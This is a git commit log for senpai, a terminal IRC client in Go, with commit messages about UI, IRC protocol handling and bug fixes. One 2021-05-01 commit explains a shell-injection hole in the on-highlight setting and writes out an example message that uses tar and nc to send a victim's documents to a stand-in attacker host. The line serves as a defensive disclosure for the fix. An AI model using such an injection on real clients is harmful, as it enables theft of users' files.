Now, lastbuffer.txt also contains the network ID, otherwise the user
might end up on another buffer with the same name.

This patch does not extend /r to support multiple networks (it will send
the message to the latest query, whatever the current displayed network
is).
40544a1
Hubert Hirtz  ·  2021-10-23
Remove draft file

It should not have been added in the first place
57ce6d9
Hubert Hirtz  ·  2021-10-23
Sort channel staff before other members
f720a01
Hubert Hirtz  ·  2021-10-23
Simplify string building logic in app.go
a3fb513
Hubert Hirtz  ·  2021-10-23
Make use of away-notify
0dc0542
Hubert Hirtz  ·  2021-10-23
Don't panic when a command is sent when offline

nit: also remove naked returns
5ab6aa2
Hubert Hirtz  ·  2021-10-23
Add an /invite command
ee83827
Hubert Hirtz  ·  2021-10-23
Add support for the INVITE message
992fcfa
Hubert Hirtz  ·  2021-10-23
Don't expect the server to send correct IRC messages

Instead of panicking, print an error in the home buffer
2aab421
Hubert Hirtz  ·  2021-10-23
Cleanup unused caps

They don't add anything in the UI, and generate useless traffic.

Account tracking is not used:
- account-notify
- account-tag
- extended-join

We don't really care about users, hosts, nor real names:
- extended-join
- userhost-in-names

away-notify and invite-notify are also not used, but will be in the near
future.
cc8aae7
Hubert Hirtz  ·  2021-10-23
Don't display buffer numbers on empty command
411d806
Hubert Hirtz  ·  2021-10-22
doc: fix indentation and use _ instead of ` for keywords
43fcc4b
Hubert Hirtz  ·  2021-10-22
Add an .editorconfig file
36a7d1e
Kalyan Sriram  ·  2021-10-22
config: allow specifying an external password cmd

Storing passwords in plaintext in your configuration file is dangerous!
This patch adds support for fetching a password from an external
command (i.e. `gpg`, `pass`, `gopass`).
a88a370
Hubert Hirtz  ·  2021-10-20
Rework vertical lists
8846bcc
Hubert Hirtz  ·  2021-10-20
Fix ui.StyledStringBuilder
aa0fb28
Hubert Hirtz  ·  2021-10-19
Cleanup drawVerticalMemberList
ce78dab
Hubert Hirtz  ·  2021-10-19
Only show buffer numbers when necessary

Saves space

also removed non-edition related method IsCommand out of editor.go
e60ad17
Hubert Hirtz  ·  2021-10-18
Don't forget to close outgoing chan on debug
97f4218
Hubert Hirtz  ·  2021-10-14
Simplify channel loop
928c0a0
Hubert Hirtz  ·  2021-09-29
Revert "Eager registration"

This reverts commit 60f9e6570e40c0a0cbb10976b0ec6a7076fdb453.
60f9e65
Hubert Hirtz  ·  2021-09-19
Eager registration

Decreases the number of roundtrips necessary for registration.

A typical registration might look like this:

- C: CAP LS; NICK; USER
- S: CAP LS
- C: CAP REQ
- S: CAP ACK
- C: AUTHENTICATE <mesh>
- S: AUTHENTICATE +
- C: AUTHENTICATE <user/pass payload>
- S: RPL_SASLSUCCESS
- C: CAP END
- S: welcome batch

By sending client messages eagerly, despite the number of message not
decreasing (it's increasing when the client supports more caps than the
server), the number of roundtrips is decreased to 1 (not counting TCP
and TLS negotiation).
185ea09
Duc Nguyen  ·  2021-09-27
add compiled doc to gitignore
0bc7b23
Duc Nguyen  ·  2021-09-24
Restore last buffer on start

review emersion

review taiite

review taiite

Use os.WriteFile instead of os.Create
a532aae
Hubert Hirtz  ·  2021-09-13
Fix history not being loaded on channel re-JOIN
d0cd9d5
Hubert Hirtz  ·  2021-09-13
Remove IRC formatting when printing the topic
b2666f8
Hubert Hirtz  ·  2021-09-13
Sort typing indicators
a3e89db
Hubert Hirtz  ·  2021-09-13
Fix horizontal channel bar drawing
359d158
Hubert Hirtz  ·  2021-09-13
Show mode changes
fe15e93
Hubert Hirtz  ·  2021-09-13
Fix typing indicators not being removed
34d8f9c
Hubert Hirtz  ·  2021-09-13
Remove needless allocations
a3b9bae
Hubert Hirtz  ·  2021-09-13
Remove buffer arg in commands
2eaf8b6
Hubert Hirtz  ·  2021-09-13
More lints
b4f3d87
Hubert Hirtz  ·  2021-09-11
Random code improvements/tidying
75349a8
Hubert Hirtz  ·  2021-09-11
Fix typos
28e8bae
Hubert Hirtz  ·  2021-09-08
Fix line wrapping not working on history
dc01205
Hubert Hirtz  ·  2021-09-03
Use messageBounds for infinite scroll CHATHISTORY requests
328a23e
Hubert Hirtz  ·  2021-09-01
Don't show the member list by default
526eb96
Hubert Hirtz  ·  2021-09-01
Channel list is horizontal by default
058532e
Hubert Hirtz  ·  2021-09-01
Fetch missed messages on reconnect

just one step closer to proper CHATHISTORY support!! :=D ^v^
1feb31d
Hubert Hirtz  ·  2021-08-07
Remove outdated UI tests

IRC formatting is now handled prior to word wrapping.
edb9412
delthas  ·  2021-07-11
Introduce backsearch message support with ctrl+R

Fixes: #47
e9a2fc4
Alexey Yerin  ·  2021-07-16
ui: fix editor tests
d8c4582
delthas  ·  2021-07-15
Enable scrolling through the vertical member list with the mouse wheel
579c232
Hubert Hirtz  ·  2021-08-06
Update copyright to include all contributors
80779c6
Hubert Hirtz  ·  2021-08-06
Accept pull requests on Github
b6e7fbf
delthas  ·  2021-07-14
Fix crash on disconnect

The crash was due to accessing app.s.Nick() when app.s was nil.

This is a good opportunity to print a special prompt when disconnected:
I chose `<offline>`, in red.
5109024
delthas  ·  2021-07-14
Make buffers indexed, and refer to indexes with /BUFFER

Fixes: #29
b680d6c
delthas  ·  2021-07-13
ui: Introduce a vertical member list on channels

Also, fix the UI timeline clearing too much, as well as the status line.

Also, remove the width in the editor and buffer list constructors. We
were initializing them with wrong values, only to overwrite these values
with correct ones later in Resize().
2c5872f
delthas  ·  2021-07-11
Print the channel topic on join

Fixes: #45
2c7bc6a
delthas  ·  2021-07-13
Add notify types for fine-grained control of unread/highlight state

Namely, we want the unread light to show up only on actual messages, not
commands etc.

This opens the way for not showing an unread light when printing topic
on join.
fbe14ad
delthas  ·  2021-07-13
Automatically join channels on start

Supporting channels with keys and merging JOINs in a single message is
TODO for later. :)
d659947
Hubert Hirtz  ·  2021-07-13
Don't send typing=done when input is already empty
7c26eb5
Hubert Hirtz  ·  2021-07-13
Always update prompt
9300574
delthas  ·  2021-07-13
Switch to the buffer of a new user-requested channel join
c078fbb
delthas  ·  2021-07-12
Clear the input on CTRL+C instead of quitting

We have /QUIT for quitting. Most well-known IRC clients don't quit on
CTRL+C but they do on QUIT.

Clearing the editor input on CTRL+C is useful for shell-like behaviour
"abort current line, let me start my line again".
01c2715
delthas  ·  2021-07-12
Ratelimit +typing and send +typing=done once only

Fixes: #8
Fixes: #41
63d17a7
delthas  ·  2021-07-12
Sort channel members by name

This is used for nick autocomplete and for /NAMES.

It will also be used for the vertical user list in the UI in a upcoming
patch.
43517bf
delthas  ·  2021-07-11
Ignore case when searching for a /BUFFER

Best-effort regular casemapping, not the IRC session's one. :P
44574b6
delthas  ·  2021-07-11
Fix backspace support on some terminals

Namely the emulated Jetbrains Golang debugging PTY. :)
4ce6610
Hubert Hirtz  ·  2021-07-11
Do not print empty rows

If a message contains a sequence of spaces/tabs that is wider than the
terminal, do not print an empty row.
f2be0b9
Hubert Hirtz  ·  2021-07-11
Update tcell

Pull in foot support
ece015d
Hubert Hirtz  ·  2021-07-10
Fix senpai(5) formatting
c4cd304
Alexey Yerin  ·  2021-06-04
ui: don't mark // in input as a command

Prior to this, IsCommand was returning true for inputs starting with two
slashes and thus showing ">"-prompt.

This is a possible confusion (and unwanted behaviour) because the user
might think that they are writing a command but in fact, the message
would be sent verbatim (excluding first slash).
6be7183
Alexey Yerin  ·  2021-05-27
doc/senpai.5: mention the issue with \ disappearing

Fixes #65
70d519a
Alexey Yerin  ·  2021-05-28
Add colors.prompt option to set prompt color
eafb0dd
Hubert Hirtz  ·  2021-05-26
Also make dashes gray for command responses
287e408
Hubert Hirtz  ·  2021-05-26
Pick nick colors in terminal color scheme

So that the colors go well with the terminal background.
98550d8
Hubert Hirtz  ·  2021-05-26
Do not go into infinite loops on TLS mismatch

- do the TLS eagerly instead of waiting for the first write, so that an
  error message can be printed,
- sleep for 10 seconds before reconnecting, otherwise when connecting
  without TLS to a TLS server, the connection will always succeed while
  the first writes will not.
5cb1bbe
Hubert Hirtz  ·  2021-05-25
Fix ui tests
2b3c8d2
Alexey Yerin  ·  2021-05-21
commands: use rawArgs on non-command

This way, the first slash when doing //-message is not deleted because
parseMessage writes the result to rawArgs, instead of the editor
content.

Fixes #63
f07a0af
Alexey Yerin  ·  2021-05-21
commands: do not handle s == ""

handleInput already checks for this.
ab6c067
Alexey Yerin  ·  2021-05-25
doc/senpai.5: update docs for addr field

* senpai automatically adds :6697 or :6667 when not set, thus the port
  is optional
* Non-TLS connections are supported, too
3e0f604
Alexey Yerin  ·  2021-05-25
Moving to libera.chat

Because the part later suggests joining #senpai, which is now on
Libera.Chat instead of Freenode, it would make sense to update this
as well.
f30294b
Alexey Yerin  ·  2021-05-24
commands: use Home constant instead of "home"
b37d05f
Alexey Yerin  ·  2021-05-21
Disallow sending messages to home

This is not a channel and if one wants to send messages to user "home",
they would do "/msg home ..." instead.
a731c1d
Hubert Hirtz  ·  2021-05-21
Remove parenthesis around notices

Reason: interaction with services don't render well with parenthesis
bcc3095
Hubert Hirtz  ·  2021-05-20
Handle consecutive spaces on arg split
9e679e2
Hubert Hirtz  ·  2021-05-20
Explicitly support keys in JOIN messages
777b0ac
Hubert Hirtz  ·  2021-05-20
Separate command handling from plain messages

- So that lone slashes can be recognised
- Also handle two slashes and pass them as one in plain input
7835d39
Hubert Hirtz  ·  2021-05-18
Fix races conditions

Refactor:
- Split out reads/writes from irc.Session to irc.ChanInOut,
- Message handling is now manual, messages must be passed to
  irc.Session.HandleMessage for its state to change,
- Remove data-race-prone App.addLineNow (called from both the main
  eventLoop and irc loops) and add App.addStatusLine (to be called from
  the main event loop) and App.queueStatusLine (to be called from other
  goroutines).  These two functions now write to both the current buffer
  and the home buffer,
- add a irc.Typings.List function that locks the list of typings before
  accessing it.

Changes as I went through the whole code...
- CAP handling is fixed (especially CAP DEL and CAP ACK),
- irc.Session now handles PREFIX,
- unhandled messages are now shown, except for some rare cases where
  it's completely useless to show them.
cdab4b7
Alexey Yerin  ·  2021-05-18
Add /mode command
a0e0d6c
Hubert Hirtz  ·  2021-05-18
Add /nick
4969650
Hubert Hirtz  ·  2021-05-17
Add port if missing (v2) and don't set keepalives
36f278f
Alexey Yerin  ·  2021-05-17
commands: ignore empty input

Prior to this, when sending nothing, senpai throws the following
nonsense at you:

    "": usage:

Now empty input is ignored, preventing this from appearing
(whitespace-only message should still work).
4764c14
Alexey Yerin  ·  2021-05-17
ui/editor: add boundary checks for word actions

Prior to this, if the input is spaced out (whitespace skip), word
movements caused senpai to crash because there were no boundary checks.
e906b7e
Hubert Hirtz  ·  2021-05-17
Update tcell to 2.3.1

https://github.com/gdamore/tcell/releases/tag/v2.3.0
https://github.com/gdamore/tcell/releases/tag/v2.3.1
b33b4e8
Hubert Hirtz  ·  2021-05-11
Properly show cursor on two-width characters
d4de0b8
Hubert Hirtz  ·  2021-05-11
go fmt
eaf823d
Hubert Hirtz  ·  2021-05-01
Don't look for nor execute sh when on-highlight is empty
10d6a23
Hubert Hirtz  ·  2021-05-01
Print config error message on stderr
1156da3
Hubert Hirtz  ·  2021-05-01
Update documentation examples and add warning
4b0e951
Alexey Yerin  ·  2021-05-01
Use environment variables for on-highlight

Breaking change!

The old approach of format modifiers is not ideal and usually has
problems with shell quoting, that way anyone is able to get a remote
shell just by sending a malicious message like:

    <evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; "

Given that my on-highlight is:
    notify-send "%b" "<%n> %m"

This would be transformed into:

    notify-send "#cmpwn" "<evilhacker> "; tar -c $(find documents) | nc hackersserver 1337; ""

And this way it becomes a huge security vulnerability.

When using environment variables combined with double quotes, shell
escapes everything that appears there and gives the raw result to
command executed.

Though, this requires a little update to users' on-highlight setting:

  %b -> $BUFFER
  %n -> $SENDER
  %m -> $MESSAGE
  %h -> $HERE
e6df23b
Hubert Hirtz  ·  2021-04-30
Better error reporting about configuration file

- Better errors in config.go
- Do not print useless timestamps in cmd/senpai/main.go
- Let os.UserConfigDir() and senpai.NewApp() call panic on error since
  they both should not fail.
43bc9ca
Alexey Yerin  ·  2021-04-29
Use path.Join to construct config file path

It would make it work on non-Unix systems and also handle things like
.. in the configuration option
b455cc9
Alexey Yerin  ·  2021-04-27
Make mouse support optional

To not break existing users, mouse is enabled by default but you have an
option to disable it with "mouse: false" in your
/.confg/senpai/senpai.yaml.
73ad4e7
Alexey Yerin  ·  2021-04-27
Make sure app.s is not nil when issuing quit

Prior to this, when the connection is lost, issuing /quit was causing a
segfault.
d12564c
Alexey Yerin  ·  2021-04-27
editor: Ctrl+{Right,Left} moves cursor by words

A very useful readline feature when combined with ^W can be a really
quick way to reformat a sentence, which is what I do on IRC quite often.
c7eceaa
Alexey Yerin  ·  2021-04-27
Add BUFFER command to jump to the matching buffer

Is is very useful when you have joined a bunch of channels and scrolling
with Ctrl+n/Ctrl+p is quite inefficient.
2d6db1f
Alexey Yerin  ·  2021-04-27
senpai.5: fix typo
17e7f7b
Hubert Hirtz  ·  2021-04-27
Fix duplicate lines when scrolling up
ef1ca1c
Hubert Hirtz  ·  2021-04-27
Add option to disable sending typing notifications
fc7c13e
Hubert Hirtz  ·  2021-04-27
Revert back to tcell 2.2.0

tcell 2.2.1 has a bug [0][1][2] that made senpai need a keypress after
Ctrl-C was hit.

[0] https://github.com/gdamore/tcell/issues/452
[1] https://github.com/gdamore/tcell/pull/454
[2] https://github.com/gdamore/tcell/commit/7694d9082153d3ddfc0ca0815731e1a093321ac1
b2476b1
Hubert Hirtz  ·  2021-04-27
Blacklist more colors
c652dad
Hubert Hirtz  ·  2021-04-27
Split long messages before sending them

avoids silent truncations.

Also consider the LINELEN ISUPPORT token:
- https://defs.ircdocs.horse/defs/isupport.html
- http://rabbit.dereferenced.org/~nenolod/ircv3-harmony/id-wpitcock-ircv3-core.html#rfc.section.3.8.2.1.17
cede6d5
Hubert Hirtz  ·  2021-04-27
Split the "feature" map into specific attributes
70a74ca
Hubert Hirtz  ·  2021-04-27
deps: update tcell and runewidth
1dec020
Alexey Yerin  ·  2021-04-26
cmd/test: load useTLS from the config
e5b76ae
Alexey Yerin  ·  2021-04-26
senpai.5: document no-tls and debug config options
a7f7c5a
Alexey Yerin  ·  2021-04-26
editor: add ^W delete word binding

It allows to delete the current word (any string of characters until a
space). Also, all spaces at the start are cleared to allow doing
something like:

    Hello world|
    Hello | <- the cursor is at a space
    | <- nothing left
5e2bbb5
Hubert Hirtz  ·  2021-03-29
Don't show own typing notifications
667d1d1
Galen Abell  ·  2021-03-24
Add PHONY Makefile targets
47bf386
Marten Ringwelski  ·  2021-03-16
Add Makefile
d63df64
Marten Ringwelski  ·  2021-03-16
docs: Fix typo
b6fbac7
Hubert Hirtz  ·  2021-03-05
Fix segmentation fault when the server is down
2cb8cf5
Hubert Hirtz  ·  2021-03-04
Support cycling backward in auto-completions
a9d5336
Hubert Hirtz  ·  2021-03-04
Do not use dim styles on the buffer list

Reverse + Dim is not rendered the same way across terminals. For example,

- alacritty shows black text on gray background
- kitty shows gray text on white background
d9c0c27
Hubert Hirtz  ·  2021-03-03
Better connection management

- Send keepalives
- Reconnect when the connection is lost
- Set timeout for write operations
fce8215
Simon Ser  ·  2021-02-24
Add senpai to .gitignore
9803427
Simon Ser  ·  2021-02-24
mv cmd/irc cmd/senpai

Allows to `go build ./cmd/senpai` without having to specify -o.
Also more consistent with how cmd/ is used in the Go ecosystem.
59c68b5
Hubert Hirtz  ·  2021-02-21
Add a no-tls option to config
073f395
Hubert Hirtz  ·  2021-02-18
Fix command argument parsing
fc101c7
Hubert Hirtz  ·  2021-02-18
Add the QUIT command
b4aaf60
Hubert Hirtz  ·  2021-02-18
Recognize beginning of commands

allows to only type the beginning of a command, like "/t" for "/topic".
511a95b
Hubert Hirtz  ·  2021-01-07
Fix random crash on startup

The .exit value would be read before it was initialized.
be78c42
Hubert Hirtz  ·  2021-01-06
Chathistory: don't send invalid timestamps
9ab0c33
Hubert Hirtz  ·  2020-11-30
Show connection failure reason
f435a9d
Hubert Hirtz  ·  2020-11-30
Show command output on failure
43fbc13
Hubert Hirtz  ·  2020-11-30
Move configuration defaults to config.go
c791106
Hubert Hirtz  ·  2020-11-29
Make cmd/test usable
fd39397
Hubert Hirtz  ·  2020-11-23
Don't forward outdated typing timeouts

The channel might have been parted, or the user might have parted from
the channel before receiving the timeout from Typings, thus causing a
segfault.
2992bd3
Hubert Hirtz  ·  2020-11-23
Polish the test client
360302f
Hubert Hirtz  ·  2020-11-23
Document irc/typing.go
2221f93
Hubert Hirtz  ·  2020-11-22
Cleanly stop all coroutines on irc.Session.Stop

This fixes a panic when irc.Session.handle is called with an empty
message.
c761717
Hubert Hirtz  ·  2020-11-21
Document the IRC library
8828195
Hubert Hirtz  ·  2020-11-20
Only send the SelfJoinEvent when channel info is complete
cf5d743
Hubert Hirtz  ·  2020-10-29
Consider the CASEMAPPING isupport token

Using RFC1459 as a default since servers not advertising this token are
likely to be pre-IRCv2, thus following the casemapping described in the
RFCs.
60d215d
Hubert Hirtz  ·  2020-10-29
Consider the CHANTYPES isupport token
8e01ade
Hubert Hirtz  ·  2020-11-19
Basic display of errors
83e0e82
Hubert Hirtz  ·  2020-11-19
Add completion for /msg
10f2baa
Hubert Hirtz  ·  2020-11-13
Move editor view when completing text
2313198
Hubert Hirtz  ·  2020-11-13
/topic completion
dfb2100
Hubert Hirtz  ·  2020-11-13
Don't autocomplete on empty word
74107f8
Hubert Hirtz  ·  2020-11-13
Document functions in app.go
09983c7
Hubert Hirtz  ·  2020-11-13
Fix prompt not being updated on click
6c1e5d2
Hubert Hirtz  ·  2020-11-08
Fix click colors on highlighted channel
7f6f230
Hubert Hirtz  ·  2020-11-07
Handle Alt-Home and Alt-End

To navigate to the first/last buffer
dffaae8
Hubert Hirtz  ·  2020-11-07
Support for mouse clicks on channel names
c5e30f9
Hubert Hirtz  ·  2020-11-07
Scroll wheel support
cd53306
Hubert Hirtz  ·  2020-11-07
Update manpages to account for latest changes

- Added chan-column-width
- user is now marked as optional
27060a9
Hubert Hirtz  ·  2020-11-07
Configurable channel list width
e967d02
Simon Ser  ·  2020-11-06
Default user/real to nickname if unspecified

While at it, error out if nick is unspecified instead of sending a
broken command to the server.
a370adb
Samuel Hernandez  ·  2020-10-27
irc: Fix requestHistory by making it use UTC
7fae7f7
Hubert Hirtz  ·  2020-10-21
Vertical channel list
75d5148
Hubert Hirtz  ·  2020-10-19
Collapse bufferlist in one block
c5b92f7
Hubert Hirtz  ·  2020-10-19
Allow moving the timeline to the right
94b025d
Hubert Hirtz  ·  2020-10-19
Handle KICK messages
8fb22a1
Hubert Hirtz  ·  2020-10-19
Show topic changes

Closes #34
ebcdf07
Hubert Hirtz  ·  2020-10-19
Ensure timestamps from msg.TimeOrNow() are always UTC
7cea5ae
Hubert Hirtz  ·  2020-10-19
Fix duplicate timestamps

Caused by difference between timezones (lines initialized with
time.Now() are set to local timezone while lines initialized with
message time tag are set to UTC).

Closes #43
7b7b063
Hubert Hirtz  ·  2020-10-18
Display strike-through text
c9dc688
Hubert Hirtz  ·  2020-10-18
Update tcell to v2 and

- enable bracketed paste
- use hex color codes instead of ansi
a387410
Hubert Hirtz  ·  2020-10-12
Update screenshot URL
f5c03fa
Hubert Hirtz  ·  2020-10-12
Fix crash when completing nicks with special chars

Not enough space was allocated for the completed text when the word
being completed had characters encoded in more than one byte.  This was
because "word" was a string instead of a []rune, thus "len(word)"
counted each byte instead of each character.

Fixes #42
3ea19ff
Hubert Hirtz  ·  2020-09-01
Typing indicator timeout
500a3f2
Hubert Hirtz  ·  2020-09-01
irc: Reset typing ratelimiter after sent message
0495351
Hubert Hirtz  ·  2020-08-26
Move ui.Home and ui.homeMessages up
dad549f
Hubert Hirtz  ·  2020-08-26
Update tcell and support italics
e91396f
Hubert Hirtz  ·  2020-08-25
General refactor yay

- Centralize message formatting
- Make line formatting more flexible
- Provide more information in irc events
- Refactor command handling
- Add a /help command
- Make /me reply to last query if from home
- Enforce argument for /me
- Make BufferList and Editor public
- Batch processing of IRC events
7814ff1
Hubert Hirtz  ·  2020-08-24
Allow /part with a reason
30b582d
Hubert Hirtz  ·  2020-08-24
Drop username and hostname from TopicWho
9421ec8
Hubert Hirtz  ·  2020-08-24
Improve query display

- Print outgoing messages as "-> target" instead of self nick
- Don't highlight messages
a033d00
Hubert Hirtz  ·  2020-08-24
Fix multiple SelfJoinEvent being sent

... every time NAMES were requested. SelfJoinEvent should be ok being in
the "JOIN" handler, since names are only useful for the user.
196baeb
Hubert Hirtz  ·  2020-08-24
Only fetch history on JOIN and PgUp
05c2fb4
Hubert Hirtz  ·  2020-08-22
Fix topic time timezone
40f3e34
Hubert Hirtz  ·  2020-08-22
Fix /topic only accepting one word
7e1cdf8
Hubert Hirtz  ·  2020-08-22
Fix same messages being fetched with CHATHISTORY

The issue was that Message.Time() converted the timestamp to Local time,
and this local timestamp was being used with UTC timestamps.  Thus
senpai now converts the time only during display.

Moreover, to avoid missing messages in history (and at the cost of
duplicates), the condition in bufferList.AddLines() as been modified.
271ec48
Hubert Hirtz  ·  2020-08-22
Don't send @+typing=done in the home buffer
094769f
Hubert Hirtz  ·  2020-08-21
doc: Fix typos, improve wording somewhat
34122cd
Hubert Hirtz  ·  2020-08-21
ui: Blacklist dark colors for nicks
cdfae68
Hubert Hirtz  ·  2020-08-21
ui: Fix color codes
a037655
Hubert Hirtz  ·  2020-08-21
Fetch history on join
f1e384d
Hubert Hirtz  ·  2020-08-20
editor: Fix panic when pressing delete on empty input
da8b686
Hubert Hirtz  ·  2020-08-20
ui: 1-cell padding for highlight nicks
77e7723
Hubert Hirtz  ·  2020-08-20
doc: Update example with sway focus or something
4997d36
Hubert Hirtz  ·  2020-08-20
ui: Show an error if on-highlight fails
1349e4b
Hubert Hirtz  ·  2020-08-20
Change %c to %b and add %h
9a9a00d
Hubert Hirtz  ·  2020-08-20
ui: Strip formatting codes in notifications
ba98736
Hubert Hirtz  ·  2020-08-20
Mention the man pages in README.md
8fef627
Hubert Hirtz  ·  2020-08-20
git add doc
8987e7f
Hubert Hirtz  ·  2020-08-20
irc: Don't panic on a NICK from an unknown user
c3e6c27
Hubert Hirtz  ·  2020-08-19
ui: Notify on highlight (or execute any command)
ed39a2a
Hubert Hirtz  ·  2020-08-19
Fix highlight not following new nick on registration
cdb68f6
Hubert Hirtz  ·  2020-08-19
ui: Autocompletion of nicknames
7a1312b
Hubert Hirtz  ·  2020-08-19
ui: Show unhandled messages in debug mode
66031ed
Hubert Hirtz  ·  2020-08-19
ui: Show the nick when senpai registers with a different one
b0a5b6c
Hubert Hirtz  ·  2020-08-19
ui: Don't panic when the connection fails
4d806b7
Hubert Hirtz  ·  2020-08-19
Properly close everything in case of error
cf883fc
Hubert Hirtz  ·  2020-08-19
ui: Show self /msg and /r even if echo-message is off
3adffd7
Hubert Hirtz  ·  2020-08-18
Add /R command
bf05951
Hubert Hirtz  ·  2020-08-18
irc: Fix RPL_TOPICWHOTIME handling
435d102
Hubert Hirtz  ·  2020-08-18
editor: Don't add another line if the last one is empty
6c00c6e
Hubert Hirtz  ·  2020-08-18
ui: Fix crash in the word wrapping function
4f529dd
Hubert Hirtz  ·  2020-08-18
Add screenshot to README.md
21aa7a0
Hubert Hirtz  ·  2020-08-18
irc: Update TopicWho and TopicTime on TOPIC
0af566c
Hubert Hirtz  ·  2020-08-17
ui: Fix scroll when lines are added

When lines were added while "scrollAmt > 0", instead of incrementing
scrollAmt, add the height of the line.
ef46f82
Hubert Hirtz  ·  2020-08-17
irc: Send NAMES when multi-prefix is negociated
190343e
Hubert Hirtz  ·  2020-08-17
Add /names command
ba679ce
Hubert Hirtz  ·  2020-08-17
irc: Handle CAP NEW/DEL/NAK before registration
93661a8
Hubert Hirtz  ·  2020-08-17
irc: Also update casefolded nickname on ERR_ERRONEOUSNICKNAME
ca56268
Hubert Hirtz  ·  2020-08-16
irc: Use a bool instead of an error for validation
e7efe87
Hubert Hirtz  ·  2020-08-16
Handle RPL_TOPICWHOTIME
34e3264
Hubert Hirtz  ·  2020-08-16
ui: Configurable nick column width
afe9803
Hubert Hirtz  ·  2020-08-16
Fix +typing=active being sent incorrectly

Don't send it when the user starts typing a command (types '/' as the
first char of the input)
f1791d1
Hubert Hirtz  ·  2020-08-16
Add a /topic command
1910dab
Hubert Hirtz  ·  2020-08-16
ui: Show /me from self when echo-message is off
0023f4c
Hubert Hirtz  ·  2020-08-16
ui: Reverse color of the nickname on highlight
cb1f094
Hubert Hirtz  ·  2020-08-16
irc: Delete ConnectionState and use a bool instead
76a164c
Hubert Hirtz  ·  2020-08-16
irc: go syntax i guess
421837e
Hubert Hirtz  ·  2020-08-16
irc: Use better names for casefolded variables
1b15bf8
Hubert Hirtz  ·  2020-08-16
irc: Use typing constants
c066b0e
Hubert Hirtz  ·  2020-08-16
irc: Simplify debug logging of incoming messages
5103ded
Hubert Hirtz  ·  2020-08-15
Fill events with original channel case
3567b35
Hubert Hirtz  ·  2020-08-15
Remove UserEvent and ChannelEvent
54b1008
Hubert Hirtz  ·  2020-08-10
editor: Handle UP and DOWN keys
7ce0747
Hubert Hirtz  ·  2020-08-06
Actually the rune width issue is from alacritty
e3dda62
Hubert Hirtz  ·  2020-08-05
Support reverse character code
d0dbcfe
Hubert Hirtz  ·  2020-08-05
Show NICK changes
370a47d
Hubert Hirtz  ·  2020-08-05
Fix colors not being reset with \x03
f7843c5
Hubert Hirtz  ·  2020-08-05
Use a custom runewidth.Condition

Because some characters were not using the number of cells
runewidth.RuneWidth returned, eg \u2026 and \u2192.
fae0359
Hubert Hirtz  ·  2020-08-05
Add missing color termination character
e56baed
Hubert Hirtz  ·  2020-08-05
Add a -debug flag and show raw messages
713dd4a
Hubert Hirtz  ·  2020-08-05
Don't request history of the home buffer
3bb7400
Hubert Hirtz  ·  2020-08-05
Show line on the left of typing indicators
0b3c0c4
Hubert Hirtz  ·  2020-08-05
editor: handle DEL key
b54af7e
Hubert Hirtz  ·  2020-08-05
editor: handle HOME and END keys
6dbbd0b
Hubert Hirtz  ·  2020-08-05
editor: fix off-by-one error

when writing on the last cell of the row
df91fbf
Hubert Hirtz  ·  2020-08-05
Also handle numpad's enter key
48baa06
Hubert Hirtz  ·  2020-08-05
Tidying
547b5f1
Hubert Hirtz  ·  2020-08-05
Configurable highlights
00c0d46
Hubert Hirtz  ·  2020-08-04
Accept a -config command-line argument

And don't authenticate when no password is provided
e5c8c6e
Hubert Hirtz  ·  2020-08-04
Add a head for status lines

to avoid it to be mistaken for the continuation of the previous message
6585251
Hubert Hirtz  ·  2020-08-04
Show nick highlights
4790252
Hubert Hirtz  ·  2020-08-04
Show channels as bold on unread messages
3c8dcea
Hubert Hirtz  ·  2020-08-03
Rework display

- Put timestamps, nicks and messages into separate columns
- Print a bar in the "typing" row
- Fix word wrapping
- Improve channel list display
22f5b82
Hubert Hirtz  ·  2020-08-02
Improve line editing

Correctly support moving around the text and placing glyphs at any
position.
f27f70d
Hubert Hirtz  ·  2020-08-01
Show incoming NOTICEs
f6ed228
Hubert Hirtz  ·  2020-08-01
Show messages from self when echo-message is disabled
6d00e52
Hubert Hirtz  ·  2020-08-01
Handle self-NICK
a323fdb
Hubert Hirtz  ·  2020-08-01
Add /quote command
c74ac4a
Hubert Hirtz  ·  2020-08-01
Randomize welcome messages
570c2c2
Hubert Hirtz  ·  2020-08-01
Make message handlers able to return more than one event
8f08d53
Hubert Hirtz  ·  2020-08-01
Display queries in "home" buffer
6f6f42c
Hubert Hirtz  ·  2020-08-01
Simplify color()
26fb3be
Hubert Hirtz  ·  2020-08-01
Yay go syntax
561f202
Hubert Hirtz  ·  2020-08-01
Add constants for IRC replies
dad1d0e
Hubert Hirtz  ·  2020-08-01
Split event handling into functions
4266525
Hubert Hirtz  ·  2020-06-23
Display typing indicators
81c860a
Simon Ser  ·  2020-06-21
Use nick/realname from config

Use the nick/realname config options advertised by the README.
3a330b9
Simon Ser  ·  2020-06-21
Use os.UserConfigDir

By using this function we become compliant with the XDG base directory
spec (XDG_CONFIG_HOME is used if set).
f80b418
Simon Ser  ·  2020-06-21
readme: fix example config

There's no way to escape single quotes in shell scripts. Since the
default password uses one, switch to here-documents.
17c0904
Hubert Hirtz  ·  2020-06-21
Add the issue tracker and the mailing list to the README
b89d3bd
Hubert Hirtz  ·  2020-06-15
Fix readme headers, add the ISC license
1bfc548
Hubert Hirtz  ·  2020-06-13
Add /msg command
219dd92
Hubert Hirtz  ·  2020-06-13
Handle \x0F
0460cd0
Hubert Hirtz  ·  2020-06-13
Fix colors?
3d338ee
Hubert Hirtz  ·  2020-06-13
draft/chathistory support???
33f6a5b
Hubert Hirtz  ·  2020-06-13
Don't scroll past buffer content
e213eeb
Hubert Hirtz  ·  2020-06-13
Add test for 0-width chars
79f3059
Hubert Hirtz  ·  2020-06-13
Fix word wrapping for 1-wide characters
a4fd300
Hubert Hirtz  ·  2020-06-13
Make renderedHeight correct
bff8eb4
Hubert Hirtz  ·  2020-06-12
wip
d448905
Hubert Hirtz  ·  2020-06-05
Split lines between words
09c94ce
Hubert Hirtz  ·  2020-06-04
Unknown sub-command ./cmd/irc
f7331d1
Hubert Hirtz  ·  2020-06-04
Buffers are now shown (mostly) correctly

senpai must now split on whitespace when drawing
bf3c7dc
Hubert Hirtz  ·  2020-06-04
Fix color codes

Thank IRSSI the client of the future when it was still 1999!
781eac5
Hubert Hirtz  ·  2020-06-04
Show underline messages
7d3115d
Hubert Hirtz  ·  2020-06-04
Fix timezone with server-time
689e841
Hubert Hirtz  ·  2020-06-03
Also show QUITs
31b8f90
Hubert Hirtz  ·  2020-06-03
Show JOIN and PARTs
7824063
Hubert Hirtz  ·  2020-06-03
Nick colors
2236a7d
Hubert Hirtz  ·  2020-06-03
typing=done
9a732d4
Hubert Hirtz  ·  2020-06-03
Part Join Typing
881d634
